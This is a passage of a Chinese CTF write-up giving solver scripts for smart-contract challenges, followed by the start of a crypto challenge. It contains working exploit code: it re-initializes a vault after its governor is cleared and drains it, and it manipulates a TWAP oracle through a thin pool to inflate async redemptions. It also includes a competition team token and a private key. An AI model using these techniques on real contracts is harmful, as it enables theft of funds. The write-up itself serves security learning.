拿到平台给的 RPC/PK/SETUP 后可以这样验证:

powershell
$env:RPC="http://1.95.206.213:5009"$env:PK="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"$env:SETUP="0x5FbDB2315678afecb367f032d93F642f64180aa3" $vault = cast call $env:SETUP "vaultProxy()(address)" --rpc-url $env:RPC$wbtc  = cast call $env:SETUP "wbtc()(address)" --rpc-url $env:RPC$usdc  = cast call $env:SETUP "usdc()(address)" --rpc-url $env:RPC$oracle = cast call $env:SETUP "oracle()(address)" --rpc-url $env:RPC$player = "0x70997970C51812dc3A010C7d01b50e0d17dc79C8" cast send $vault "claimRewards(address)" $wbtc --rpc-url $env:RPC --private-key $env:PKcast call $vault "governor()(address)" --rpc-url $env:RPC cast send $vault "initialize(address,address,address[])" $oracle $usdc "[$player]" --rpc-url $env:RPC --private-key $env:PK cast send $vault "emergencyWithdraw(address,address,uint256)" $wbtc $player 1000000000 --rpc-url $env:RPC --private-key $env:PK cast call $env:SETUP "isSolved()(bool)" --rpc-url $env:RPC

其中 claimRewards() 之后读 governor(),会得到零地址 0x0000000000000000000000000000000000000000

最后 isSolved() 返回 true

完整解题脚本

python
import reimport time from eth_abi import encodefrom eth_account import Accountfrom eth_utils import keccakfrom pwn import remotefrom web3 import Web3  HOST = "1.95.206.213"PORT = 5000TEAM_TOKEN = b"8fea26245973f8380f952cd422b686ad"  def selector(signature: str) -> bytes:    return keccak(text=signature)[:4]  def send_tx(w3: Web3, private_key: str, to: str, data: bytes) -> str:    acct = Account.from_key(private_key)    tx = {        "chainId": w3.eth.chain_id,        "from": acct.address,        "to": Web3.to_checksum_address(to),        "nonce": w3.eth.get_transaction_count(acct.address),        "data": data,        "gas": 500_000,        "maxFeePerGas": w3.to_wei(2, "gwei"),        "maxPriorityFeePerGas": w3.to_wei(1, "gwei"),        "value": 0,    }    signed = Account.sign_transaction(tx, private_key)    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)    receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=30)    if receipt.status != 1:        raise RuntimeError(f"tx failed: {tx_hash.hex()}")    return tx_hash.hex()  def call_address(w3: Web3, to: str, signature: str) -> str:    ret = w3.eth.call({        "to": Web3.to_checksum_address(to),        "data": selector(signature),    })    return Web3.to_checksum_address(ret[-20:])  def call_bool(w3: Web3, to: str, signature: str) -> bool:    ret = w3.eth.call({        "to": Web3.to_checksum_address(to),        "data": selector(signature),    })    return int.from_bytes(ret, "big") != 0  def call_uint(w3: Web3, to: str, signature: str, arg_types=None, args=None) -> int:    arg_types = arg_types or []    args = args or []    ret = w3.eth.call({        "to": Web3.to_checksum_address(to),        "data": selector(signature) + encode(arg_types, args),    })    return int.from_bytes(ret, "big")  def main() -> None:    io = remote(HOST, PORT)     io.recvuntil(b"Choice > ")    io.sendline(b"1")    io.recvuntil(b"Token > ")    io.sendline(TEAM_TOKEN)     banner = io.recvuntil(b"Choice > ", timeout=30).decode("latin-1", errors="replace")    print(banner)     rpc = re.search(r"RPC URL\s*:\s*(\S+)", banner).group(1)    setup = Web3.to_checksum_address(        re.search(r"Setup contract\s*:\s*(0x[0-9a-fA-F]{40})", banner).group(1)    )    player = Web3.to_checksum_address(        re.search(r"Player address\s*:\s*(0x[0-9a-fA-F]{40})", banner).group(1)    )    player_key = re.search(r"Player key\s*:\s*(0x[0-9a-fA-F]{64})", banner).group(1)     w3 = Web3(Web3.HTTPProvider(rpc))    for _ in range(30):        if w3.is_connected():            break        time.sleep(1)    if not w3.is_connected():        raise RuntimeError("RPC did not become available")     vault = call_address(w3, setup, "vaultProxy()")    wbtc = call_address(w3, setup, "wbtc()")    usdc = call_address(w3, setup, "usdc()")    oracle = call_address(w3, setup, "oracle()")     print(f"setup = {setup}")    print(f"vault = {vault}")    print(f"wbtc  = {wbtc}")    print(f"usdc  = {usdc}")    print(f"oracle= {oracle}")    print(f"player= {player}")     if not call_bool(w3, setup, "isSolved()"):        # 1. 触发 delete transient 变量的编译错误,清空 persistent slot 1,也就是 governor。        send_tx(            w3,            player_key,            vault,            selector("claimRewards(address)") + encode(["address"], [wbtc]),        )         # 2. governor 已经是 address(0),重新 initialize,把玩家加入 guardian。        send_tx(            w3,            player_key,            vault,            selector("initialize(address,address,address[])")            + encode(["address", "address", "address[]"], [oracle, usdc, [player]]),        )         # 3. 用 guardian 权限转走 10 WBTC。        send_tx(            w3,            player_key,            vault,            selector("emergencyWithdraw(address,address,uint256)")            + encode(["address", "address", "uint256"], [wbtc, player, 1_000_000_000]),        )     solved = call_bool(w3, setup, "isSolved()")    vault_wbtc = call_uint(w3, wbtc, "balanceOf(address)", ["address"], [vault])    print(f"solved = {solved}")    print(f"vault_wbtc = {vault_wbtc}")     if not solved:        raise RuntimeError("exploit failed")     io.sendline(b"2")    print(io.recvrepeat(10).decode("latin-1", errors="replace"))    io.close()  if __name__ == "__main__":    main()

运行结果:

text
solved=True, vault_wbtc=0[*] Checking on-chain state via isSolved()...====================================================  Congratulations! Challenge solved!====================================================  FLAG: SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}====================================================

FLAG

flag
SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}

Chronostasis

Challenge

指针划过表盘,却在目光落下的那一刻……停住了。
——不,那不是静止。
在两次观测之间的裂隙里,某些东西正在改变。
nc 1.95.63.227 7000 以开始。

The hand sweeps across the dial, yet the moment your eyes land upon it…
…it halts.
No — it was never still.
Something shifts in the rift between observations.
Start via nc 1.95.63.227 7000.

Solution

附件核心就几个文件:

  • src/Setup.sol
  • src/vault/AsyncLPVault.sol
  • src/oracle/TWAPOracle.sol
  • src/lib/uniswapv2/*.sol

直接先看 README.mdSetup.solREADME.md 的关键信息:

  • 有两个池子:A/BB/C
  • A/B 很深,B/C 很薄
  • 金库包装的是 A/B 的 LP
  • 赎回分同步 withdraw() 和异步 requestRedeem()/claimRedeem()
  • 胜利条件不是拿到多少钱,而是:
solidity
function isSolved() external view returns (bool) {    return vault.totalAssetsLP() < initialVaultLPBalance;}

这一步很关键,这里其实只需要把 vault.totalAssetsLP() 压到初始值以下就行,不需要全提空。

然后继续看 Setup.sol,初始状态:

  • A/B 池深度:1_000_000e18 / 1_000_000e18
  • B/C 池深度:1_000e18 / 1_000e6
  • 玩家初始资产:10_000 TKA / 10_000 TKB / 100_000 TKC
  • Setup 还会往 vault 里先存一笔 A/B LP,当作可被抽走的 TVL

基于这个分布,第一眼就该盯住薄池 B/C。因为 A/B 深度太大,玩家手上的 1 万级别资产基本不可能直接操翻它;但 B/C 只有 1000 TKB / 1000 TKC,玩家手里的 10000 TKB 足够把这个池子砸穿。

接着看 AsyncLPVault.sol。这里前半段 deposit() 和同步 withdraw() 都比较正常,真正有问题的是异步赎回。

先看 requestRedeem()

solidity
uint256 snapshot = pricePerShare();_transfer(shareOwner, address(this), shares);_requests[requestId] = RedeemRequest({    owner: shareOwner,    receiver: receiver,    shares: shares,    requestedAt: block.timestamp,    snapshotPricePerShare: snapshot,    fulfilled: false,    canceled: false});

这里会在申请时把 pricePerShare() 锁进 snapshotPricePerShare

再看 claimRedeem()

solidity
uint256 currentLPPrice = lpPriceUSD();lpOut = req.shares * req.snapshotPricePerShare / currentLPPrice;if (lpOut > totalAssetsLP) lpOut = totalAssetsLP;

这就是漏洞点了。

申请时锁的是 snapshotPricePerShare,结算时除的是“当前”的 lpPriceUSD()。如果能让:

  • 申请时的 snapshotPricePerShare 尽量高
  • 结算时的 currentLPPrice 尽量低

那么最后算出来的 lpOut 就会被放大。

继续往上追 pricePerShare()lpPriceUSD()

solidity
function pricePerShare() public view returns (uint256) {    uint256 ts = totalSupply();    if (ts == 0) return PRICE_PRECISION;    return lpPriceUSD() * totalAssetsLP / ts;}
solidity
uint256 priceA_in_B = ITWAPOracle(oracle).consultDecimal(pairAB, !abZeroForOne, w, 18);uint256 priceB_USD = ITWAPOracle(oracle).consultDecimal(_pairBC, bcZeroForOne, w, 18);uint256 priceA_USD = priceA_in_B * priceB_USD / PRICE_PRECISION;

A/B LP 的价格不是看现货,而是走了一个组合报价:

  • A 先通过 A/B TWAP 报成 B
  • B 再通过 B/C TWAP 报成 USD

也就是说只要能把 B/C 的 TWAP 压低,整个 A/B LP 的美元价格也会跟着掉。

接着再看 TWAPOracle.sol。这里有两个有用的点。

第一,update(pair) 不是 onlyOwner,任何人都能调:

solidity
function update(address pair) external override {    if (!registered[pair]) revert PairNotRegistered(pair);    ...}

第二,窗口长度固定在 Setup 里:

solidity
uint32 public constant ORACLE_WINDOW = 300;

而 consult 的逻辑是从 ring buffer 里找 [now-window, now] 内最旧的观测点,再和最新观测点做均值。翻译成利用思路就是:

  1. 先让 oracle 记一份“正常价格”的观测
  2. requestRedeem() 时锁定正常价格快照
  3. 然后把 B/C 现价砸烂
  4. 再等 300 秒,更新 oracle
  5. 这时 claimRedeem() 用的就是更低的 currentLPPrice

到这里思路已经比较明确了,先做本地验证。

本地验证

写一个最小 Forge 测试,专门验证“异步赎回快照价和结算价错配”这件事。

把下面这段内容保存成 test/Chronostasis.t.sol,然后直接跑。

solidity
// SPDX-License-Identifier: MITpragma solidity ^0.8.24; import {Setup} from "../src/Setup.sol";import {TokenA} from "../src/tokens/TokenA.sol";import {TokenB} from "../src/tokens/TokenB.sol";import {TokenC} from "../src/tokens/TokenC.sol";import {TWAPOracle} from "../src/oracle/TWAPOracle.sol";import {AsyncLPVault} from "../src/vault/AsyncLPVault.sol";import {UniswapV2Router} from "../src/lib/uniswapv2/UniswapV2Router.sol";import {IUniswapV2Pair} from "../src/interfaces/IUniswapV2Pair.sol"; interface Vm {    function warp(uint256) external;    function startPrank(address) external;    function stopPrank() external;} contract ChronostasisTest {    Vm private constant vm =        Vm(address(uint160(uint256(keccak256("hevm cheat code")))));     function testSolveWithAsyncRedeemPriceMismatch() external {        address player = address(0xBEEF);        Setup setup = new Setup(player);         TokenA tokenA = setup.tokenA();        TokenB tokenB = setup.tokenB();        TokenC tokenC = setup.tokenC();        UniswapV2Router router = setup.router();        TWAPOracle oracle = setup.oracle();        AsyncLPVault vault = setup.vault();        address pairAB = setup.pairAB();        address pairBC = setup.pairBC();         vm.startPrank(player);         tokenA.approve(address(router), type(uint256).max);        tokenB.approve(address(router), type(uint256).max);        tokenC.approve(address(router), type(uint256).max);        IUniswapV2Pair(pairAB).approve(address(vault), type(uint256).max);         router.addLiquidity(            address(tokenA),            address(tokenB),            1_000e18,            1_000e18,            0,            0,            player,            type(uint256).max        );         uint256 lpBalance = IUniswapV2Pair(pairAB).balanceOf(player);        vault.deposit(lpBalance, player);         vm.warp(block.timestamp + 301);        oracle.update(pairAB);        oracle.update(pairBC);         uint256 shares = vault.balanceOf(player);        uint256 requestId = vault.requestRedeem(shares, player, player);         address[] memory path = new address[](2);        path[0] = address(tokenB);        path[1] = address(tokenC);        router.swapExactTokensForTokens(            tokenB.balanceOf(player),            0,            path,            player,            type(uint256).max        );         vm.warp(block.timestamp + 301);        oracle.update(pairAB);        oracle.update(pairBC);         vault.claimRedeem(requestId);         vm.stopPrank();         require(setup.isSolved(), "challenge not solved");        require(            vault.totalAssetsLP() < setup.initialVaultLPBalance(),            "vault assets not below initial threshold"        );    }}

运行:

bash
forge test -vvv --match-test testSolveWithAsyncRedeemPriceMismatch

实际 trace 里能看到,结算完以后虽然 vault 还剩不少 LP,但已经满足题目条件了:

  • vault_before = 1099999999999999999999000
  • vault_after = 1001264449209594574376899

这时 isSolved() 已经是 true。也就是说这题不要求最大化收益,只要求靠超额赎回把 vault 资产打到初始值以下。

为什么砸 B/C 就够了

这里再把关键链条捋一下。

claimRedeem() 算的是:

text
lpOut = shares * snapshotPricePerShare / currentLPPrice

而在这个题里:

  • snapshotPricePerShare 申请时锁定
  • currentLPPrice 结算时再算
  • currentLPPrice 又依赖 B/C 的 TWAP

所以只要在两次观察之间把 B/C 价格压下去,就等于把分母压下去。

而且 B/C 是薄池:

  • 池里初始只有 1000 TKB
  • 玩家手里就有 10000 TKB

所以直接把玩家剩余 TKB 全卖进 B/C,TWAP 会明显变低。

完整解题脚本

python
from __future__ import annotations import reimport sysfrom dataclasses import dataclass from pwn import remotefrom web3 import Web3  HOST = "1.95.63.227"PORT = 7000TEAM_TOKEN = b"8fea26245973f8380f952cd422b686ad"MAX_UINT256 = 2**256 - 1 SETUP_ABI = [    {"inputs": [], "name": "tokenA", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "tokenB", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "tokenC", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "router", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "oracle", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "vault", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "pairAB", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "pairBC", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "isSolved", "outputs": [{"type": "bool"}], "stateMutability": "view", "type": "function"},] ERC20_ABI = [    {        "inputs": [{"name": "spender", "type": "address"}, {"name": "amount", "type": "uint256"}],        "name": "approve",        "outputs": [{"type": "bool"}],        "stateMutability": "nonpayable",        "type": "function",    },    {"inputs": [{"name": "account", "type": "address"}], "name": "balanceOf", "outputs": [{"type": "uint256"}], "stateMutability": "view", "type": "function"},] ROUTER_ABI = [    {        "inputs": [            {"name": "tokenA", "type": "address"},            {"name": "tokenB", "type": "address"},            {"name": "amountADesired", "type": "uint256"},            {"name": "amountBDesired", "type": "uint256"},            {"name": "amountAMin", "type": "uint256"},            {"name": "amountBMin", "type": "uint256"},            {"name": "to", "type": "address"},            {"name": "deadline", "type": "uint256"},        ],        "name": "addLiquidity",        "outputs": [{"type": "uint256"}, {"type": "uint256"}, {"type": "uint256"}],        "stateMutability": "nonpayable",        "type": "function",    },    {        "inputs": [            {"name": "amountIn", "type": "uint256"},            {"name": "amountOutMin", "type": "uint256"},            {"name": "path", "type": "address[]"},            {"name": "to", "type": "address"},            {"name": "deadline", "type": "uint256"},        ],        "name": "swapExactTokensForTokens",        "outputs": [{"type": "uint256[]"}],        "stateMutability": "nonpayable",        "type": "function",    },] PAIR_ABI = [    {"inputs": [{"name": "account", "type": "address"}], "name": "balanceOf", "outputs": [{"type": "uint256"}], "stateMutability": "view", "type": "function"},    {        "inputs": [{"name": "spender", "type": "address"}, {"name": "amount", "type": "uint256"}],        "name": "approve",        "outputs": [{"type": "bool"}],        "stateMutability": "nonpayable",        "type": "function",    },] ORACLE_ABI = [    {"inputs": [{"name": "pair", "type": "address"}], "name": "update", "outputs": [], "stateMutability": "nonpayable", "type": "function"},] VAULT_ABI = [    {        "inputs": [{"name": "lpAmount", "type": "uint256"}, {"name": "receiver", "type": "address"}],        "name": "deposit",        "outputs": [{"type": "uint256"}],        "stateMutability": "nonpayable",        "type": "function",    },    {"inputs": [{"name": "account", "type": "address"}], "name": "balanceOf", "outputs": [{"type": "uint256"}], "stateMutability": "view", "type": "function"},    {"inputs": [], "name": "totalAssetsLP", "outputs": [{"type": "uint256"}], "stateMutability": "view", "type": "function"},    {        "inputs": [            {"name": "shares", "type": "uint256"},            {"name": "receiver", "type": "address"},            {"name": "shareOwner", "type": "address"},        ],        "name": "requestRedeem",        "outputs": [{"type": "uint256"}],        "stateMutability": "nonpayable",        "type": "function",    },    {        "inputs": [{"name": "requestId", "type": "uint256"}],        "name": "claimRedeem",        "outputs": [{"type": "uint256"}],        "stateMutability": "nonpayable",        "type": "function",    },]  @dataclassclass RemoteInfo:    rpc: str    setup: str    pk: str    player: str  @dataclassclass TxCtx:    w3: Web3    account: object    nonce: int    chain_id: int  def parse_instance_info(blob: bytes) -> RemoteInfo:    text = blob.decode(errors="ignore")     def grab(name: str) -> str:        m = re.search(rf"{name}\s*:\s*(\S+)", text)        if not m:            raise RuntimeError(f"missing {name} in:\\n{text}")        return m.group(1)     return RemoteInfo(        rpc=grab("RPC URL"),        setup=grab("Setup contract"),        player=grab("Player address"),        pk=grab("Player key"),    )  def rpc(ctx: TxCtx, method: str, params: list[object]) -> object:    res = ctx.w3.provider.make_request(method, params)    if "error" in res:        raise RuntimeError(f"{method} failed: {res['error']}")    return res["result"]  def send(ctx: TxCtx, fn) -> str:    tx = fn.build_transaction(        {            "from": ctx.account.address,            "nonce": ctx.nonce,            "chainId": ctx.chain_id,            "gasPrice": ctx.w3.eth.gas_price,        }    )    tx["gas"] = int(tx.get("gas", 500_000) * 1.2) + 10_000    signed = ctx.account.sign_transaction(tx)    tx_hash = ctx.w3.eth.send_raw_transaction(signed.raw_transaction)    receipt = ctx.w3.eth.wait_for_transaction_receipt(tx_hash)    ctx.nonce += 1    if receipt.status != 1:        raise RuntimeError(f"reverted tx {tx_hash.hex()}")    return tx_hash.hex()  def warp(ctx: TxCtx, seconds: int) -> None:    rpc(ctx, "evm_increaseTime", [seconds])    rpc(ctx, "evm_mine", [])  def exploit(info: RemoteInfo) -> bool:    w3 = Web3(Web3.HTTPProvider(info.rpc, request_kwargs={"timeout": 60}))    account = w3.eth.account.from_key(info.pk)    ctx = TxCtx(        w3=w3,        account=account,        nonce=w3.eth.get_transaction_count(account.address),        chain_id=w3.eth.chain_id,    )     setup = w3.eth.contract(address=Web3.to_checksum_address(info.setup), abi=SETUP_ABI)    token_a_addr = setup.functions.tokenA().call()    token_b_addr = setup.functions.tokenB().call()    token_c_addr = setup.functions.tokenC().call()    router_addr = setup.functions.router().call()    oracle_addr = setup.functions.oracle().call()    vault_addr = setup.functions.vault().call()    pair_ab_addr = setup.functions.pairAB().call()    pair_bc_addr = setup.functions.pairBC().call()     token_a = w3.eth.contract(address=token_a_addr, abi=ERC20_ABI)    token_b = w3.eth.contract(address=token_b_addr, abi=ERC20_ABI)    token_c = w3.eth.contract(address=token_c_addr, abi=ERC20_ABI)    router = w3.eth.contract(address=router_addr, abi=ROUTER_ABI)    oracle = w3.eth.contract(address=oracle_addr, abi=ORACLE_ABI)    pair_ab = w3.eth.contract(address=pair_ab_addr, abi=PAIR_ABI)    vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)     print(f"RPC: {info.rpc}")    print(f"Setup: {info.setup}")    print(f"Player: {info.player}")    print(f"Vault before: {vault.functions.totalAssetsLP().call()}")     send(ctx, token_a.functions.approve(router_addr, MAX_UINT256))    send(ctx, token_b.functions.approve(router_addr, MAX_UINT256))    send(ctx, token_c.functions.approve(router_addr, MAX_UINT256))    send(ctx, pair_ab.functions.approve(vault_addr, MAX_UINT256))     amt = 1_000 * 10**18    send(        ctx,        router.functions.addLiquidity(            token_a_addr,            token_b_addr,            amt,            amt,            0,            0,            account.address,            MAX_UINT256,        ),    )     lp_balance = pair_ab.functions.balanceOf(account.address).call()    send(ctx, vault.functions.deposit(lp_balance, account.address))     warp(ctx, 301)    send(ctx, oracle.functions.update(pair_ab_addr))    send(ctx, oracle.functions.update(pair_bc_addr))     shares = vault.functions.balanceOf(account.address).call()    send(ctx, vault.functions.requestRedeem(shares, account.address, account.address))     token_b_balance = token_b.functions.balanceOf(account.address).call()    send(        ctx,        router.functions.swapExactTokensForTokens(            token_b_balance,            0,            [token_b_addr, token_c_addr],            account.address,            MAX_UINT256,        ),    )     warp(ctx, 301)    send(ctx, oracle.functions.update(pair_ab_addr))    send(ctx, oracle.functions.update(pair_bc_addr))    send(ctx, vault.functions.claimRedeem(0))     solved = setup.functions.isSolved().call()    print(f"Vault after: {vault.functions.totalAssetsLP().call()}")    print(f"Solved: {solved}")    return solved  def main() -> int:    io = remote(HOST, PORT)    io.recvuntil(b"Choice > ")    io.sendline(b"2")    io.recvuntil(b"Team token   > ")    io.sendline(TEAM_TOKEN)    launch = io.recvuntil(b"Choice > ", timeout=40)    sys.stdout.buffer.write(launch)    sys.stdout.flush()     info = parse_instance_info(launch)    if not exploit(info):        io.close()        return 1     io.sendline(b"3")    flag_data = io.recvrepeat(20)    sys.stdout.buffer.write(flag_data)    sys.stdout.flush()    io.close()    return 0  if __name__ == "__main__":    sys.exit(main())

这份脚本的核心利用其实就几步:

  1. 先往 A/B 加一点流动性,拿到自己的 LP
  2. 把 LP 存进 vault,换成 shares
  3. 推进时间 301 秒,更新 oracle,让当前价格进入观测窗口
  4. requestRedeem() 锁定正常价格快照
  5. 把手里剩余的 TKB 全砸进 B/C
  6. 再推进 301 秒,再更新 oracle
  7. claimRedeem() 用更低的当前 LP 价格去结算

实际打出来的结果是:

  • Vault before: 1099999999999999999999000
  • Vault after: 1001264449209594574376899
  • Solved: True

也就是只通过一笔异步赎回,就把 vault 里的 LP 资产打到了初始值以下。

FLAG

flag
SCTF{w0r!d.3xecut3(3th3r_!p_str1k3);}

Crypto

Cipher_Chain

Challenge

一次通信结束后,只留下了几份数据文件。

部分信息隐藏在特殊结构中,而某些结果将成为后续分析的关键。请恢复完整的信息链,并找出最终的秘密。
A communication session has ended, leaving behind several data files.

Some information is concealed within hidden structures, while certain results become the key to later stages. Reconstruct the entire chain and recover the final secret.
Hint1:
校验矩阵只描述了 h 所在的空间,真正有用的限制藏在 h 本身:小重量、带符号、有限域。完整枚举不是不可行,而是需要换一种拆法。

Hint2:
task2.trace 不是伪代码,而是工程侧记录。先判断 burn_counter 作用在曲线交换之前还是之后;task2.log 里的短串只用于确认你是否到达了正确的会话中间态。

Solution

先看附件,目录很小,只有两段:

  • task1.txt
  • task2/task2.pub
  • task2/task2.enc
  • task2/task2.trace
  • task2/task2.log

很明显这是链式题,task1 的结果会喂给 task2

Task1:先把 h 捞出来

task1.txt 里最关键的不是矩阵,而是这两句:

  • h_i ∈ {-1, 0, 1}
  • sum h_i^2 = 10 mod 65537

因为模数 P = 65537 很大,而且每个 h_i^2 只可能是 01,所以这个条件其实不是“模意义下等于 10”,而是恰好有 10 个非零位置

然后题目又给了 14 条校验:

text
sum_{i=0}^{29} h_i * G_{i,k} = 0 (mod P),  k = 0..13

把它换个说法,就是从 30 个 14 维向量里挑出 10 个,每个前面带 +1-1,最后和为 0。

一开始我试过两种更“通用”的路子:

  • 直接扔给 z3,能建模,但在当前环境里跑得不够利索。
  • 想用格去压短向量,结果 fpylll 现装会卡在 gmp.h

这题其实不用绕,Hint1 已经说了重点是小重量 + 带符号,那就直接 meet-in-the-middle。

如果暴力枚举 10 个位置再给符号,规模大概是:

text
C(30,10) * 2^10

这个就比较难看了。

但如果按位置拆成左右两半,各 15 个:

  • 左边只预处理重量 0..5
  • 右边枚举重量 5..10
  • 因为总重量固定就是 10,所以刚好能拼起来

左半边需要存的状态数其实不大:

这个量级很舒服。

这里的做法就是:

  1. 左边预处理所有重量 0..5 的“带符号和”,键是 14 维向量和。
  2. 右边枚举重量 5..10 的“带符号和”。
  3. 查左边是否存在它的相反数。
  4. 命中后再完整验一次 14 条约束。

附上 task1 的核心脚本:

python
from hashlib import sha256from itertools import combinations P = 65537G = [    [18691, 60910, 34967, 39973, 19035, 37187, 51866, 9573, 34206, 31837, 36663, 15581, 16422, 57819],    [11667, 13751, 41547, 23880, 20585, 12917, 46355, 7717, 32872, 25345, 46220, 13866, 53243, 50805],    [16220, 55881, 36631, 57679, 28551, 17162, 3946, 65344, 3212, 42267, 60841, 49880, 44633, 19089],    [18901, 39174, 621, 50597, 59452, 31620, 4847, 15944, 43006, 33065, 30463, 22200, 50479, 54631],    [5562, 52005, 4351, 52309, 56447, 31193, 1109, 53932, 33312, 60296, 48727, 45487, 14012, 45746],    [14137, 27189, 18153, 29961, 33584, 31736, 35565, 45164, 35404, 47563, 7538, 5717, 16223, 47588],    [61384, 61685, 9965, 45032, 65201, 9014, 237, 38993, 42652, 41990, 39894, 61007, 57813, 48537],    [64524, 24795, 65507, 63038, 23925, 17840, 14111, 43504, 16657, 11821, 16266, 36944, 60398, 11834],    [61907, 26569, 40771, 2381, 3826, 65104, 9696, 9018, 5685, 19371, 10720, 1134, 61203, 47979],    [15049, 8342, 48238, 59123, 33582, 34156, 11463, 49681, 35010, 63955, 5217, 22094, 19986, 20630],    [6615, 65324, 64732, 24921, 22513, 26273, 20066, 43554, 26452, 36830, 39108, 27301, 62641, 38930],    [33536, 9116, 37031, 22587, 9266, 41551, 60886, 4721, 32889, 23594, 15054, 48166, 37204, 19804],    [24812, 41135, 17852, 53668, 32667, 47429, 27433, 32442, 65336, 25932, 10879, 21650, 57170, 8394],    [4853, 12589, 8067, 37380, 55866, 45408, 34310, 15249, 57440, 65209, 53049, 35615, 3078, 53389],    [53927, 28336, 14477, 53973, 34114, 58400, 21902, 58044, 57102, 4659, 42054, 28403, 43316, 19665],    [56455, 34996, 52442, 26704, 51866, 47535, 13963, 62243, 40958, 26639, 61102, 7399, 19090, 45495],    [15207, 40249, 20826, 52120, 63645, 31205, 27664, 45913, 53232, 27295, 29319, 47720, 29428, 24098],    [13371, 31134, 21590, 12540, 1310, 30242, 39572, 17281, 1136, 54865, 51987, 28798, 32981, 21754],    [52934, 48131, 49531, 52645, 45785, 61527, 31523, 57396, 53987, 4245, 30439, 28850, 3151, 50694],    [17642, 39236, 51448, 34064, 1893, 26245, 54401, 39203, 32893, 64504, 43544, 61662, 25172, 53710],    [39781, 25361, 59068, 44489, 50656, 36070, 18452, 56882, 35364, 45389, 50422, 37075, 1066, 63646],    [31322, 26697, 15921, 55618, 45904, 36628, 23579, 36378, 39279, 16985, 58141, 30542, 8534, 18520],    [981, 62758, 61028, 38909, 15957, 57567, 43904, 28628, 4916, 18264, 27691, 26331, 4962, 21442],    [14033, 15258, 59479, 40031, 52786, 58473, 1077, 63536, 34589, 17962, 39475, 58188, 59598, 62949],    [57557, 27502, 19971, 48769, 37593, 14051, 65119, 34009, 16361, 24215, 15483, 33760, 30667, 18734],    [33125, 45057, 2762, 54221, 14400, 52163, 56290, 55758, 29319, 22911, 41430, 9803, 32328, 36539],    [13281, 49312, 58537, 55144, 55839, 25697, 30735, 48493, 690, 51848, 1885, 42752, 12001, 6323],    [41600, 38021, 35974, 42244, 58381, 15335, 38059, 10903, 53150, 38099, 24342, 19309, 57184, 44134],    [16328, 42552, 55551, 7561, 31511, 30047, 378, 13645, 39617, 54418, 64032, 34256, 45779, 28414],    [1168, 36534, 32655, 4267, 63187, 22303, 16826, 7277, 11795, 24617, 52005, 38910, 65117, 44813],] ciphertext = bytes.fromhex("9e4647dc0affbb3b65a21037261b2123")  def build_half(rows, offset):    buckets = {w: {} for w in range(6)}    for w in range(6):        for comb in combinations(range(len(rows)), w):            chosen = [rows[i] for i in comb]            for mask in range(1 << w):                acc = [0] * 14                assign = [0] * 30                for bit, idx in enumerate(comb):                    sign = 1 if (mask >> bit) & 1 else -1                    assign[offset + idx] = sign                    row = chosen[bit]                    for col in range(14):                        acc[col] += sign * row[col]                buckets[w][tuple(v % P for v in acc)] = tuple(assign)    return buckets  left = G[:15]right = G[15:]left_buckets = build_half(left, 0) h = Nonefor w_right in range(5, 11):    need_left = 10 - w_right    for comb in combinations(range(len(right)), w_right):        chosen = [right[i] for i in comb]        for mask in range(1 << w_right):            acc = [0] * 14            assign_right = [0] * 30            for bit, idx in enumerate(comb):                sign = 1 if (mask >> bit) & 1 else -1                assign_right[15 + idx] = sign                row = chosen[bit]                for col in range(14):                    acc[col] += sign * row[col]            target = tuple((-v) % P for v in acc)            assign_left = left_buckets[need_left].get(target)            if assign_left is None:                continue            cand = [assign_left[i] + assign_right[i] for i in range(30)]            if sum(1 for x in cand if x) != 10:                continue            if all(sum(cand[i] * G[i][col] for i in range(30)) % P == 0 for col in range(14)):                h = cand                break        if h is not None:            break    if h is not None:        break print("h =", h) material = b"Curve_Link_Task1_Hard|P=65537|w=10|h=" + b",".join(str(x).encode() for x in h)stream = b""counter = 0while len(stream) < len(ciphertext):    stream += sha256(material + counter.to_bytes(4, "big")).digest()    counter += 1 seed = bytes(a ^ b for a, b in zip(ciphertext, stream))print("seed =", seed)print("seed.hex() =", seed.hex())

跑出来就是:

text
h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]seed = b'aGFjyHX1aWdadade'seed.hex() = 6147466a794858316157646164616465

到这里第一段已经通了,task1 的产物就是:

text
aGFjyHX1aWdadade

Task2:把 seed 变成会话,再把会话变成明文

继续看 task2.trace

text
curve_link tracerole = clientpeer_key_len = 32secret_stage = compress(seed)burn_counter = 0xc350exchange = montgomery25519check = 32d39782e415b6b2payload_mode = stream-mask

这里最有用的是几件事:

  • peer_key_len = 32
  • exchange = montgomery25519
  • secret_stage = compress(seed)
  • burn_counter = 0xc350
  • payload_mode = stream-mask

montgomery25519 基本就是在说 X25519。task2.pub 也确实是 32 字节。

真正要先判断的是 Hint2 说的那件事:burn_counter 到底作用在交换前还是交换后。

我一开始还想先把 check = 32d39782e415b6b2 对上某个摘要截断,结果发现这条线不好走。真正好用的判别器是 task2.log

text
session_prefix = 621e27e55f647db4

Hint2 已经说得很直白了,这个短串就是用来确认是否到了正确的会话中间态

所以这里直接写一个小探针,去测几种最常见的 compress(seed)

  • 原始 seed
  • sha256(seed)
  • sha512(seed)[:32]
  • base64 解码后补齐

然后分别测试:

  • burn_counter 作用在交换前
  • burn_counter 作用在交换后

对每条分支都算一次 X25519,再看哪条分支的中间态能对上 task2.log

附上探针脚本:

python
